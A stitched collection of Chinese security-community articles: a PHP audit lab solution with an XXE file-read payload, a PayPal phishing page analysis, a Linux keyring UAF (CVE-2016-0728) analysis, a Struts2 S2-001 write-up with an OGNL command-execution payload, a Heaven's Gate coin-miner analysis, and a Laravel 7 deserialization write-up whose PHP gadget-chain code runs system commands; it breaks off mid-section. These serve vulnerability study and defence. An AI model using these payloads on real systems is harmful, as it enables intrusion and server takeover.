**f1agi3hEre.php** 文件的内容,，这里我们要结合使用PHP流的使用，因为当文件中存在： **< > & ' "**
这5个符号时，会导致XML文件解析错误，所以我们这里利用PHP文件流，将要读取的文件内容经过 **base64编码** 后输出即可，具体payload如下：
http://localhost/CTF/index.php?name=SimpleXMLElement¶m=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/CTF/f1agi3hEre.php">]><x>%26xxe;</x>¶m2=2
上面payload中的param2=2，实际上这里2对应的模式是 **LIBXML_NOENT** ，具体可以参考
[这里](http://php.net/manual/en/simplexmlelement.construct.php) 。
## Day4题解：(By 七月火)
本次题目为QCTF
2018中的一道题目，由于代码太多，这里就不贴出原图片。题目的场景为：一个彩票系统，每位用户初始情况下有20$，由用户输入一个7位数，系统也会随机生成一个7位数。然后逐位数字进行比较，位数相同的个数越多，奖励的钱也越多。当你的钱足够买flag的时候，系统就会给你flag。
我们来看一下后台代码是如何进行比较的，比较代码在 **buy.php** 文件中：
在上图中看到表单的部分( **代码4-8行** )，调用了 **js/buy.js** 文件，应该是用来处理上面的表单的，我们具体看一下 **js**
代码：
在 **第10行** 处看到，程序将表单数据以 **json** 格式提交到服务器端，提交页面为 **api.php** ，我们转到该文件看看。
这里主要是对数字进行比较，注意 **第13行** 用的是 **==** 操作符对数据进行比较，这里会引发安全问题。因为用户的数据是以 **json**
格式传上来的，如果我们传一个数组，里面包含7个 **true** 元素，这样在比较的时候也是能相等的。因为 **==**
运算符只会判断两边数据的值是否相等，并不会判断数据的类型。而语言定义，除了 **0、false、null** 以外均为 **true** ，所以使用
**true** 和数字进行比较，返回的值肯定是 **true**
。只要后台生成的随机数没有数字0，我们传入的payload就能绕过每位数字的比较。我们发送几次payload后，就可以买到flag了。
在看官方WP的时候，还发现另外一种解法，也是一种不错的思路。
>
> 另外比赛过程中发现有的选手用了暴力重复注册然后买彩票的方法。考虑了一下这种方法花费的时间并不比直接审计代码短，为了给广大彩民一点希望，可以留作一种备选的非预期解，就没有改题加验证码或者提高flag价格。
## 总结
我们的项目会慢慢完善，如果大家喜欢可以关注 [ **PHP-Audit-Labs** ](https://github.com/hongriSec/PHP-Audit-Labs) 。大家若是有什么更好的解法，可以在文章底下留言，祝大家玩的愉快！ | 社区文章 |
原文：
https://www.sentinelone.com/blog/technical-analysis-paypal-phishing-scam/?tdsourcetag=s_pcqq_aiomsg
### 0x01 前言
对于现如今的我们来说 铺天盖地的互联网营销环绕在我们的身边
几乎每个人都收到过垃圾邮件或网络钓鱼邮件。对于企业来说，网络钓鱼邮件是攻击者进入内网的最常见载体。
在过去的12个月中，微软公开了增幅高达250%的网络钓鱼邮件的检查[报告](https://www.microsoft.com/securityinsights)，并且针对软件运营服务和网络邮件服务的网络钓鱼在相比上一季度翻了[两倍](https://docs.apwg.org/reports/apwg_trends_report_q4_2018.pdf)。
我们已经[在其他地方](https://www.sentinelone.com/blog/what-is-a-phishing-scam/)讨论了防御网络钓鱼攻击的方法，但在这篇文章中，我们将更深入地研究钓鱼邮件的工作原理，揭示在这种社会工程学攻击中，看看受害者是怎么泄露他们的Paypal证书的
。
### 0x02 HTML特性利用
在本文中，我们将使用最近捕获的一封恶意钓鱼邮件来进行阐述，下面我们就从查看攻击者的HTML文件的排列开始进行分析:
$: shasum PayPal_Document916.html
948fa2be822a9320f6f17599bc2066b2919ff255 PayPal_Document916.html
[扫描](https://www.virustotal.com/)一下，看看有没有什么惊喜.
不知道这是什么.这里用 [Detect-It-Easy](https://github.com/horsicq/Detect-It-Easy) 来分析一下.
从`DIE`中可以获取以下文件属性:
* File type: Plain Text HTML
* Entropy: 6.056
* Packed: No
* File Size: ~34k
幸运的是文件并没有被压缩 看样子只是稍微混淆了一下子而已 分析难度应该不高。
### 0x03 代码分析
由于HTML文件可以在任何操作系统上运行，我们想要知道里面的内容可能不太可能，而且我们也不知道这个是什么操作系统。
想要了解这里面的内容很重要，我们可以用一个非常简单的文本编辑器来实现。不过一定要像打开常规文本一样打开它.
虽然这看起来很漂亮，但是读起来有点难，幸运的是我们可以做一些操作让它更容易理解，但在我们操作之前，我们将删除所有的HTLM代码标签：
<!DOCTYPE html><html><head><script>
和
</script></head><body></body></html>
剩下的是JavaScript代码，Sublime Text可以帮助我们：
使用一些“美化插件”编辑一下代码，让它看起来更容易理解：
我们可以通过macOS或者Linux 中的命令行界面来实现：
$: awk -v RS=';' -v ORS=';\n' 'NF' PayPal_Document916.html
把这个Javascript格式化，把新的版本写入一个名为：
decoded_PayPal_Document916.js
### 0x04 未知：解码文本
编辑一些变量，尝试理解这里发生了什么。
首先我们知道:
var nxjCDAXFwFEX=
保存原始Base64代码块(自然假设为嵌入式有效负载)。
把这个写进一个文件，看看可以得到什么:
grep nxjCDAXFwFEX= decoded_PayPal_Document916.js|awk -F '"' '{print$6}'|base64 --decode >> payload
这个命令用于隔离Base64编码的字符串，不过关于包含我们的字符串的行，有两点需要注意:
（1）在字符串的开头：
return g=x.join(""),g.replace(/\0+$/,"")}var nxjCDAXFwFEX="
（2)在字符串的末尾：
awk -F '"' '{print$6}'
删除Base64编码字符串前后的所有内容，可以方便对它解码。使用: `-F '"'` 这个命令只使用空格作为分隔符将目标字符串分割为列。我们使用-F
'"开关将分隔符更改为双引号。然后我们有了一个单独的字符串，我们可以解码它。它并不总是像解码base64字符串那么容易，编码后的代码块写入文件时看起来很奇怪:
`$: file payload` `payload: data`
数据文件不一定是字符串解码失败的指示符，但是它确实说明可能会解码失败。不管用什么方式我们都要检查代码来看看我们可能忽略的逻辑。
### 0x05 新观点：隔离变量
当重命名变量时，我喜欢从那些简单的开始。
已经知道nxjCDAXFwFEX包含Base64代码字符串，所以我将把所有出现的nxjCDAXFwFEX更改为raw_base64，看能找到什么。
我有一个单独的系统，我用它来运行样本，不用担心感染任何一个文件!为了加快速度，我只需将decoded_PayPal_Document916.js复制到VM中。使用Linux，因为几乎所有的东西都想杀死Windows。
为了进一步消除脚本代码块中的变量的混淆，我们可以为每个变量放置print语句，看看它们输出了什么，然后对应的命名。目前来看，有一些明显的问题我们可以替换:
* 重命名一下 ：
xoCisgpExGEs –> function_01
* 这是我们在脚本中看到的第一个函数:xoCisgpExGEs(rr,oo) 函数
sCmCMuMlIZJy –> function_02
* 这是我们在脚本中看到的第二个函数:sCmCMuMlIZJy(rr) 函数**
nxjCDAXFwFEX –> raw_base64
* 只包含base64编码字符串的变量。
lSiYOlcTTfmR –> call_array
* ****参数的主要列表。****
TZGYADnjYnzp –> function_02_call
* ****这只是调用脚本中的第二个函数:****
lSiYOlcTTfmR:
* lSiYOlcTTfmR[0] –> cyQvdxDbHhpBfpCX
* 这只是“lSiYOlcTTfmR”(重命名为“call_array”)数组中的第一个值
* lSiYOlcTTfmR[1] –> write
* 这只是“lSiYOlcTTfmR”(重命名为“call_array”)数组中的第二个值
**注意** :我们将移动整个变量，因为我们知道这些值在哪里使用。
在这种情况下，脚本的最后一行是执行语句，将它注释掉，并应用新的代码将输出转储到2个文件:
在执行后，“function_02_call”看起来还是很乱，我们暂时忽略它。“function_01_call”好像给了我们很多很好的新代码来检查:
输出文件中包含的代码都在一行中，并且再次使用了一个插件来美化代码 .
### 0x06 可疑的域
我们已经怀疑这是一种钓鱼攻击，所以最好能看到页面中编码的所有域。
PayPal域名在没有意思，因为域名都是合法的，而且不能骗过去。看起来更有趣的是:
运行cURLs命令检查一些这些东西：
我们在处理一些事情时，我们可以下载PNG文件并看看它们的信誉度
`$: shasum *.png` `f18a83299a9dbf4905e27548c13c9ceb8fb5687d
AM_mc_vs_ms_ae_UK.png` `53b7e80a8a19959894af795969c2ff2e8589e4f0
bdg_secured_by_pp_2line.png` `b311f639f1de20d7c70f321b90c71993aca60a44 pp-logo-200px.png`
这些文件被恶意攻击的几率很低:
关注一个不属于PayPal的域名。我遇到了代码中的一个变量让我想仔细看看，_0x78eb7f:
逻辑相当简单:当用户输入信用卡信息后单击submit按钮，页面脚本将更改发送最终用户输入数据的目的地。
于是用户的信息被发送到攻击者的web服务器，而不是PayPal。
### 0x07 结论
通过这个基本分析，我们知道了攻击的工作方式和攻击者服务器的域。这种网络钓鱼电子邮件不像我们到现在为止经历的攻击那么复杂，但它很容易被忽视。这种类型的攻击常常比现代的攻击更有效。作为安全专家，我们可以用这个例子作为一个提醒，应该教育我们的朋友、家人和用户在任何时候都要质疑电子邮件的有效性。 | 社区文章 |
# 再探CVE-2016-0728
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**By 360 Vulpecker Team 少仲**
**0x0 漏洞信息**
[https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-0728](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-0728)
**0x1 漏洞描述**
cve-2016-0728是一个linux平台上的UAF漏洞.漏洞主要的原因是由于keyrings组件当中的引用计数问题导致的.它使用一个32位的无符号整数做引用计数,但是在计数器出现溢出的时候没有进行合理的处理.当对象的引用计数达到最大时会变成0,因此释放对象的内存空间.而此时程序还保留对引用对象的引用,所以形成了UAF漏洞.
**0x2 代码分析**
long join_session_keyring(const char *name)
{
const struct cred *old;
struct cred *new;
struct key *keyring;
long ret, serial;
new = prepare_creds();
if (!new)
return -ENOMEM;
old = current_cred();
/* if no name is provided, install an anonymous keyring */
if (!name) {
ret = install_session_keyring_to_cred(new, NULL);
if (ret < 0)
goto error;
serial = new->session_keyring->serial;
ret = commit_creds(new);
if (ret == 0)
ret = serial;
goto okay;
}
/* allow the user to join or create a named keyring */
mutex_lock(&key_session_mutex);
/* look for an existing keyring of this name */
keyring = find_keyring_by_name(name, false); //key->usage + 1
if (PTR_ERR(keyring) == -ENOKEY) {
/* not found - try and create a new one */
keyring = keyring_alloc(name, old->uid, old->gid, old,
KEY_ALLOC_IN_QUOTA, NULL);
if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
}
} else if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
} else if (keyring == new->session_keyring) { //keyname == 当前cred中的key name
ret = 0; //直接返回，绕过key_put
goto error2;
}
/* we've got a keyring - now to install it */
ret = install_session_keyring_to_cred(new, keyring);
if (ret < 0)
goto error2;
commit_creds(new);
mutex_unlock(&key_session_mutex);
ret = keyring->serial;
key_put(keyring);
okay:
return ret;
error2:
mutex_unlock(&key_session_mutex);
error:
abort_creds(new);
return ret;
}
通过以上代码可以得出只要进程使用当前正在使用的keyring名,程序就会跳过kref_put(keyring),造成引用计数的只增不减.由于引用计数是无符号整形,可以通过循环调用,整数溢出的方法来将它置0.
**0x3 如何利用**
1\. 造成引用计数溢出,int所能保存最大值为232 – 1.所以只要进行4294967295次循环,就可以将它清零.
2\. 释放引用计数为0的keyring对象
3\. 使用slab机制分配内核对象来覆盖之前已经释放的keyring对象
4\. 获得内核代码的执行权限.使用keyctl(KEY_REVOKE,key_name)
这个API来调用revoke().当我们覆盖keyring对象的时候,我们可以控制指向revoke()的函数指针,让其指向我们准备好的提权代码.
###
**0x4 POC问题主要分析**
1\. 漏洞代码所在的内核版本应该是3.8以后.但是大部分安卓5.0的设备都运行在3.4的内核版本之中.
2\.
网上的poc没有成功的原因是因为没有获得commit_creds和prepare_kernel_cred的地址,攻击者需要得到root权限,将kptrstrict标志置为0后,才能通过/proc/kallsyms来查看符号的地址.
3\. 在用户空间的提权代码则需要commit_creds(prepare_kernel_cred
(0));函数将cred结构置为0,从而获取root权限.
4\.
使用ret2usr来在用户态调用提权代码需要考虑pxn的问题.在没有pxn防护的手机中可以在内核空间执行用户态代码.然而在有pxn防护的情况下,则需要考虑使用ROP来寻找内核gadget来绕过保护.
5\. 需要调用4294967295次,时间过长有可能导致shell反弹超时.所以很难利用.
6\. 出现漏洞的代码存在于linux内核中的keyring服务.但是该服务必须在内核编译时启用CONFIG_KEYS
选项.在AOSP内核的config文件中,并没有发现CONFIG_KEYS被启用.所以说android设备并没有包含漏洞相关的代码,因此就是说android设备没有被该漏洞所影响.
7\.
在安卓4.4版本以后,强制开启了SELinux的策略.SELinux减少了Linux内核的攻击面.SELinux的策略也限制了ASOP在设备上通过非授信app调用exp的权限.比如当一个app尝试去执行keyctl系统调用去创建一个keyring的对象时,系统调用会被拒绝.
开源的poc代码使用了SysV IPC (msgget) 来分配内存传递漏洞利用代码.安卓5.0的SELinux策略限制了SysV
IPC因此阻止了包含利用的代码.
###
**0x5 实测**
1\. 首先去掉get_symbol的函数,root掉手机以后,直接将kptrstrict置为0,读取kallsyms的全部信息.获取相关符号地址
2\. arm版的通过使用syscall来取代keyctl调用.
3\. 通过添加一个计算来显示循环的百分比
在我的设备上测试的时间为12:00 – 16:46 ,进度显示为0.1%.
所以大约要执行166天左右才能跑完…
**参考文章：**
[http://bobao.360.cn/learning/detail/2576.html](http://bobao.360.cn/learning/detail/2576.html)
[https://www.mulliner.org/blog/blosxom.cgi/security/CVE-2016-0728_vs_android.html](https://www.mulliner.org/blog/blosxom.cgi/security/CVE-2016-0728_vs_android.html)
[https://github.com/nardholio/cve-2016-072](https://github.com/nardholio/cve-2016-0728) | 社区文章 |
本系列文章将详细分析 **Java** 流行框架 **Struts2** 的历史漏洞，今后关于 **Struts2** 新的漏洞分析，也将更新于
[Struts2-Vuln](https://github.com/Mochazz/Struts2-Vuln) 项目上。该系列仅是笔者初学
**Java代码审计** 的一些记录，也希望能够帮助到想学习 **Java代码审计** 的朋友 。如有任何问题，欢迎 **issue** 。分析文章均来自
[**个人博客**](https://mochazz.github.io) ，转载请注明出处。
## 漏洞概要
Struts2-001是一个远程代码执行漏洞
漏洞影响版本： **Struts 2.0.0 - Struts 2.0.8**
。更多详情可参考官方通告：<https://cwiki.apache.org/confluence/display/WW/S2-001>
## 漏洞环境
Apache Tomcat/8.5.47+struts-2.0.8
下载地址：<http://archive.apache.org/dist/struts/binaries/struts-2.0.8-all.zip>
<https://github.com/vulhub/vulhub/tree/master/struts2/s2-001>
## 漏洞分析
**Struts2** 框架对于数据的整个处理可以参考下图：
从上图，我们可以看出当一个 **HTTP** 请求被 **Struts2** 处理时，会经过一系列的 **拦截器(Interceptor)**
，这些拦截器可以是 **Struts2** 自带的，也可以是用户自定义的。例如下图 **struts.xml** 中的 **package** 继承自
**struts-default** ，而 **struts-default** 就使用了 **Struts2** 自带的拦截器。
在 **struts2-core-2.0.8.jar!/struts-default.xml** 文件中，我们可以找到默认使用的拦截器栈
**defaultStack** 。
在拦截器栈 **defaultStack** 中，我们需要关注 **params** 这个拦截器。其中， **params拦截器**
会将客户端请求数据设置到 **值栈(valueStack)** 中，后续 **JSP** 页面中所有的动态数据都将从值栈中取出。
经过一系列的拦截器处理后，数据会成功进入实际业务 **Action** 。程序会根据 **Action** 处理的结果，选择对应的 **JSP**
视图进行展示，并对视图中的 **Struts2** 标签进行处理。如下图，在本例中 **Action** 处理用户登录失败时会返回 **error** 。
根据返回结果以及先前在 **struts.xml** 中定义的视图，程序将开始处理 **index.jsp** 。
当在 **JSP** 文件中遇到 **Struts2** 标签 **< s:textfield** 时，程序会先调用 **doStartTag**
，并将标签中的属性设置到 **TextFieldTag** 对象相应属性中。最后，在遇到 **/ >** 结束标签的时候调用 **doEndTag**
方法。
在 **doEndTag** 方法中调用了 **this.component.end** 方法，而该方法调用了 **evaluateParams**
方法来填充 **JSP** 中的动态数据。
跟进 **evaluateParams** 方法，会发现如果开启了 **Ognl** 表达式支持( **this.altSyntax()**
)，程序会在属性字段两边添加 **Ognl** 表达式字符( **%{、}** )，然后使用 **findValue**
方法从值栈中获得该表达式所对应的值。
我们来看下 **findValue** 方法中，具体是如何解析 **Ognl** 表达式。如下图，可以看到 **findValue** 方法先调用了
**translateVariables** 方法，该方法又调用了同名重载方法。问题关键，就在这个同名重载方法中。
在最开始，我们传入 **translateVariables** 方法的表达式 **expression** 为 **%{username}** ，经过
**Ognl** 表达式解析，程序会获得其值 **%{1+1}** 。这个值在先前经过 **params**
拦截器的时候设置了，前面我们也说过。由于此处使用的是 **while** 循环来解析 **Ognl** ，所以获得的 **%{1+1}**
又会被再次执行，最终也就造成了任意代码执行。
我们来尝试弹个计算器：
%{(new java.lang.ProcessBuilder(new java.lang.String[]{"deepin-calculator"})).start()}
## 漏洞修复
下图右边为官方修复后的代码（左图xwork-2.0.3，右图为xwork-2.0.4），可以明显看到在修复代码中多了 **Ognl**
递归解析次数的判断，默认情况下仅解析第一层。
## 参考
[【Struts2-命令-代码执行漏洞分析系列】S2-001](https://xz.aliyun.com/t/2044) | 社区文章 |
# 挖矿程序为你打开“天堂之门”
|
##### 译文声明
本文是翻译文章，文章原作者 hasherezade，文章来源：malwarebytes.com
原文地址：<https://blog.malwarebytes.com/threat-analysis/2018/01/a-coin-miner-with-a-heavens-gate/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
过去两年可以称为勒索软件之年。毫无疑问，勒索软件是最为流行的一种恶意软件。但去年年底时，我们开始注意到一种现象，那就是勒索软件日渐式微，挖矿程序开始粉墨登场。这种趋势可能会延续到2018年，并随着时间的推进不断增长。
从受害者的角度来看，某种程度上这也算是一种解脱，因为挖矿程序不会像勒索软件带来巨大的安全风险。虽然挖矿程序的确会降低系统性能，但当你清除掉这些程序，就可以像之前那样继续使用自己的主机。你不会损失任何数据，这一点与勒索软件大为不同。
从恶意软件研究人员的角度来看，挖矿程序并没有太多吸引人的地方。这些程序不值得深入研究，主要是因为它们都是基于众所周知的开源组件开发而成，很少或者没有经过混淆处理。
然而，随着时间的推移，我们发现挖矿程序开始引入一些非常有趣的技巧。在最近发现的一个样本中，我们观察到了一种名为“天堂之门（Heaven’s
Gate）”的技术，利用这种技术，恶意软件可以通过32位的加载器注入到64位进程中。这种技巧并不新颖，最早可回溯到2009年，但在捕获到的新样本中发现这种技术仍然是非常新奇的一件事情。
如果你是恶意软件分析方面的初学者，欢迎你继续阅读本文，了解什么是天堂之门，以及如何分析这种技术。
## 二、恶意样本
**释放器 #1**
：[7b3491e0028d443f11989efaeb0fbec2](https://www.virustotal.com/#/file/f9c67313230bfc45ba8ffe5e6abeb8b7dc2eddc99c9cebc111fcd7c50d11dc80/details)
我们在分析[Ngay](https://blog.malwarebytes.com/threat-analysis/2018/01/rig-exploit-kit-campaign-gets-deep-into-crypto-craze/)的后续攻击活动中找到了这个样本（参考[此处](http://malware-traffic-analysis.net/2018/01/11/index.html)了解更多细节）。在调查类似样本的过程中，我找到了@_qaz_qaz发表的一篇[文章](https://secrary.com/ReversingMalware/CoinMiner/)，这篇文章中介绍了某次攻击活动中出现的一个类似样本，但他在并没有分析天堂之门技术。
**释放器 #2**
：[ed575ba72ea8b41ac2c31c8c39ce303b](https://www.virustotal.com/en/file/98199294da32f418964fde49d623aadb795d783640b208b9dd9ad08dcac55fd5/analysis/)
32位的加载器（在第一阶段中释放出来）：[ca54fa2cf8a7e3e2cd457811f336de44](https://www.hybrid-analysis.com/sample/f558e28553c70a0c3926c8c77e91c699baa3491922ab9cdfb29aa995138d5a08?environmentId=100)
## 三、恶意行为分析
为了观察注入行为，我们必须在64位系统上运行这个样本。我们可以发现样本会运行notepad程序，程序使用的参数为典型的挖矿参数：
在ProcessExplorer中查看内存字符串时，我们可以清晰地看到正在运行的并不是真正的notepad程序，而是xmrig这个门罗币挖矿程序：
因此，目前我们可以确认一点，那就是内存中notepad的镜像已经被替换，攻击者很有可能使用的是RunPE（Process Hollowing）技术。
攻击者使用的是32位释放器，但它会将载荷注入到64位notepad中：
有趣的是，官方的Windows API并不支持这种注入方式。我们可以通过64位应用程序（使用Wow64 API）读写32位进程的内存，但不能反过来。
但还存在一些非官方的解决方案可以实现这个目标，比如名为“天堂之门（Heaven’s Gate）”的技术。
## 四、天堂之门概述
2009年，黑客Roy G.
Biv首次提出了天堂之门技术。随后出现了各种适配程序，比如[Wow64ext](https://github.com/rwfpl/rewolf-wow64ext)库以及[W64oWoW64](https://github.com/georgenicolaou/W64oWoW64)库。2015年，Alex
Ionescu在一篇文章中介绍了针对此技术的缓解措施。
现在我们来看一下这种技术的工作原理。
### 4.1 在64位Windows上运行32位进程
在64位Windows上运行的每个32位进程都会运行在名为[WoW64](https://en.wikipedia.org/wiki/WoW64)的一个特殊子系统中，该子系统可以模拟32位环境。我们可以把它看成在64位进程中创建的一个32位沙盒。因此，系统首先会为进程创建64位环境，然后在里面再创建32位环境。应用程序会在32位环境中运行，不能访问64位环境。
如果我们利用64位扫描器从外部扫描32位进程，我们可以看到该进程内部中同时包含32位和64位DLL。最关键的一点是，它包含2个版本的NTDLL：32位版（加载自SysWow64目录）以及64位版（加载自System32目录）：
然而，32位进程无法看到64位环境，只能使用32位DLL。为了注入到64位进程中，我们需要使用64位版本的相关函数。
### 4.2 代码段
为了访问被禁用的64位环境，我们需要理解隔离机制的具体原理，事实证明这并不复杂。我们可以通过代码段中的不同地址访问32位及64位代码：32位的地址为0x23，64位的地址为0x33。
如果我们按照正常方式调用某个地址，那么系统会使用默认设置的模式来解析这个地址。然而，我们可以使用汇编指令显示指定具体使用哪种模式。
## 五、挖矿程序中的天堂之门
之前已经有人[分析](https://secrary.com/ReversingMalware/CoinMiner/)过这个挖矿程序，这里我们就略过完整分析，直接跳到比较有趣的那部分内容。恶意软件会检查运行环境，如果发现自己运行在64位环境中，则会执行另一个分支，注入64位进程：
经过一些反分析检查步骤后，恶意软件会创建一个新的、处于挂起状态的64位进程（本案例中创建的是notepad进程）：
恶意载荷后面会注入到这个进程中。
前面我们提到过，为了将载荷注入64位进程中，我们需要使用64位的函数。
首先，加载器获得了64位NTDLL的一个句柄：
关于`get_ntdll`函数内部的处理过程需要进一步分析一下。作为参考，我们可以了解一下ReWolf库中的[类似代码](https://github.com/rwfpl/rewolf-wow64ext/blob/fd28b57fe926f3e57540850c37cdbcc766173dba/src/wow64ext.cpp#L298)。
为了访问进程所对应的64位环境，我们需要修改段选择器（segment selector）。来看一下这款恶意软件如何进入64位模式：
以上代码貌似直接来自于这个开源库：
<https://github.com/rwfpl/rewolf-wow64ext/blob/master/src/internal.h#L26>
段选择器0x33被压入栈中。随后，恶意软件会调用下一行：（通过这种方式，下一行的地址同样会被压入栈中）
压入栈中的地址加了5字节偏移量：
最后，程序调用了RETF指令。RETF代表“far
return”，是一条远转移指令。与RET指令不同的是，该指令可以同时指定执行流程应返回的具体地址及段（segment）。该指令会从栈上获取两个双字（DWORD）作为参数。因此，当执行RETF指令时，实际的返回地址为`0x33:0x402A50`：
成功完成段修改后，系统会把从该地址开始的代码解释为64位代码。因此，在调试器中看到的32位代码实际上是64位代码：
为了快速切换相应的代码视图，我选择使用PE-bear的一个实用功能：
这段代码解释成64位代码后如下所示：
可以看到，这段代码的功能是将R12寄存器中的内容移动到栈上的某个变量中，然后再[切换](https://github.com/rwfpl/rewolf-wow64ext/blob/master/src/internal.h#L34)为32位模式。这么处理的目的是为了获取64位的[Thread
Environment Block
（TEB，线程环境块）](https://en.wikipedia.org/wiki/Win32_Thread_Information_Block)，从中可以获取到64位的[Process
Environment Block
（PEB，进程环境块）](https://en.wikipedia.org/wiki/Process_Environment_Block)，你可以参考[这段代码](https://github.com/rwfpl/rewolf-wow64ext/blob/fd28b57fe926f3e57540850c37cdbcc766173dba/src/wow64ext.cpp#L283)了解更多信息。
恶意软件使用64位的PEB作为起点来搜索64位的NTDLL。搜索方式比较直白，用到了指向已加载库的一个指针，该指针为PEB结构中一个字段（大家可以参考另一份[代码](https://github.com/hasherezade/demos/tree/master/functions_loader/src)，这份代码封装得比较好）。在PEB结构中我们可以找到名为`Ldr`的一个字段：
`Ldr`是类型为`_PEB_LDR_DATA`的一个结构体，该结构中包含名为`InMemoryOrderModuleList`的一个entry：
该列表中包含当前进程在内存中已加载的所有DLL。我们需要遍历这个列表，找到我们感兴趣的DLL（即NTDLL）。这也就是前面提到过的`get_ntdll`函数的具体功能。为了找到正确的名字，该函数会调用某个函数（我们将其标记为`is_ntdll_lib`），逐字符检查程序库的名字是否与`ntdll.dll`相匹配，如下所示：
如果名字相匹配，则通过两个寄存器返回这个程序库的地址：
找到NTDLL后，我们只需要找到正确的函数即可。我们可以浏览DLL的导出函数表来完成这个任务：
需要获取如下几个函数：
NttUnmapViewOfSection
NtGetContextThread
NtAllocateVirtualMemory
NtReadVirtualMemory
NtWriteVirtualMemory
NtSetContextThread
这些函数是RunPE技术中常用的函数。首先，`NtUnmapViewOfSection`函数用来取消原始PE文件的映射。随后，恶意软件分配远程进程所需的内存，将新的PE写入这段内存中。最后，恶意软件会修改该进程的内容，开始执行注入的模块。
恶意软件会保存这些函数的地址，稍后再调用这些函数来操控远程进程（参考类似[代码](https://github.com/rwfpl/rewolf-wow64ext/blob/fd28b57fe926f3e57540850c37cdbcc766173dba/src/wow64ext.cpp#L75)）。
## 六、总结
目前为止，挖矿程序作者并没有给我们带来太多惊喜，他们非常依赖开源组件来实现预期目标。本文分析的这个样本也是如此，作者还是用到了之前已经实现的某种技术。
天堂之门这个技术几年前早已问世。出于隐蔽性考虑，某些恶意软件会用到这种技术。但就本文分析的这个挖矿样本而言，作者的真正目标可能是想在目标架构中使用适当的载荷，以最大化利用目标环境性能。 | 社区文章 |
# Laravel7反序列化POP链分析挖掘
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## laravel7 反序列化汇总
测试使用的 Laravel 是通过 composer 默认方法 `composer create-project --prefer-dist
laravel/laravel blog "7.12.*"`安装的，如果用到了未默认带的组件会在文中说明 !
安装好后在 routes\web.php 添加路由
Route::get('/index', "IndexController@index");
然后在 app\Http\Controllers 目录下添加 IndexController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class IndexController extends Controller
{
public function index(Request $request)
{
if ($request->query("data")) {
unserialize($request->query("data"));
} else {
highlight_file(__FILE__);
return "Laravel version: " . app()::VERSION;
}
}
}
php artisan serve 启动服务
## POP链1*
把 laravel5 的反序列化基本过了以后在 phpggc 的laravel反序列库里面找了一个通过修改参数使用的php反序列化点, 主要是通过
[RCE3](https://github.com/ambionics/phpggc/blob/master/gadgetchains/Laravel/RCE/3/gadgets.php)
展开的一次任意命令执行攻击, 然后仍可以应用于 laravel7
应用了 PendingBroadcast 类这个反序列化点
public function __destruct()
{
$this->events->dispatch($this->event);
}
参数都可控, 那就行了, 触发`__call()` 函数就行, 在 Illuminate\Notifications\ChannelManager
public function __call($method, $parameters)
{
return $this->driver()->$method(...$parameters);
}
跟进driver()方法
public function driver($driver = null)
{
$driver = $driver ?: $this->getDefaultDriver();
if (is_null($driver)) {
throw new InvalidArgumentException(sprintf(
'Unable to resolve NULL driver for [%s].', static::class
));
}
// If the given driver has not been created before, we will create the instances
// here and cache it so we can return it next time very quickly. If there is
// already a driver created by this name, we'll just return that instance.
if (! isset($this->drivers[$driver])) {
$this->drivers[$driver] = $this->createDriver($driver);
}
return $this->drivers[$driver];
}
getDefaultDriver方法实现在子类 Manager
public function getDefaultDriver()
{
return $this->defaultChannel;
}
`$this->defaultChannel`的值是我们可控的，比如是 null，然后继续回到 driver 方法中，`$this->drivers`
我们可控，使其进入createDriver方法
protected function createDriver($driver)
{
// We'll check to see if a creator method exists for the given driver. If not we
// will check for a custom driver creator, which allows developers to create
// drivers using their own customized driver creator Closure to create it.
if (isset($this->customCreators[$driver])) {
return $this->callCustomCreator($driver);
} else {
$method = 'create'.Str::studly($driver).'Driver';
if (method_exists($this, $method)) {
return $this->$method();
}
}
throw new InvalidArgumentException("Driver [$driver] not supported.");
}
因为这里 `$customCreators` 是我们可控的，所以使if语句成立，进入 callCustomCreator 方法
protected function callCustomCreator($driver)
{
return $this->customCreators[$driver]($this->container);
}
这里所有参数均可控可以造成 RCE , 然后构建 pop 链如下, 暂时只能传一个参数
<?php
/*
# -*- coding: utf-8 -*- # @filename: laravel 7 RCE poc1
# @author: Ricky
*/
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($events) {
$this->events = $events;
}
}
}
// $this->events->dispatch($this->event);
namespace Illuminate\Notifications
{
class ChannelManager
{
protected $container;
protected $defaultChannel;
protected $customCreators;
function __construct($function, $parameter)
{
$this->container = $parameter;
$this->customCreators = ['x' => $function];
$this->defaultChannel = 'x';
}
}
}
namespace {
use Illuminate\Broadcasting\PendingBroadcast;
use Illuminate\Notifications\ChannelManager;
$b = new ChannelManager('system', 'dir');
$a = new PendingBroadcast($b);
echo urlencode(serialize($a));
}
然后GET传参 `?data=` 反序列化成功
## POP链2*
**新思路:** 紧接 POP链1, 既然只能传一个参数, 就想到了之前 Yii2 反序列化的类函数调用, 调用 public function 下包含
file_put_contents 且参数可控, 那么这样也就是
return $this->customCreators[$driver]($this->container);
// call_user_func['x'](new class x(), 'x');
call_user_func 传一个参数, 这个参数就是回调函数, 回调的时候访问该类中的其它函数执行, 但是该函数不可以包含任何形参且是 public
(protected 和 private 自己自己调用), 也就是形成了调用其它类里不包含形参的任何方法
花了挺长时间的找这个, 在 Illuminate\Auth\RequestGuard.php 中
public function user()
{
// If we've already retrieved the user for the current request we can just
// return it back immediately. We do not want to fetch the user data on
// every call to this method because that would be tremendously slow.
if (! is_null($this->user)) {
return $this->user;
}
return $this->user = call_user_func(
$this->callback, $this->request, $this->getProvider()
);
}
这个堪称完美, 参数均可控而且我们可以进行二次调用, 这一次我们可以多传两个参数(也就是 file_put_contents 有可能实现了), 于是全局搜索
public function 包含 file_put_contents 的, 也花了挺久, 在
Illuminate\Filesystem\Filesystem.php 中
public function append($path, $data)
{
return file_put_contents($path, $data, FILE_APPEND);
}
又是一个堪称完美的函数, 参数均可控而且调用就直接写入文件, 快狠准! (FILE_APPEND表示可追加写入)
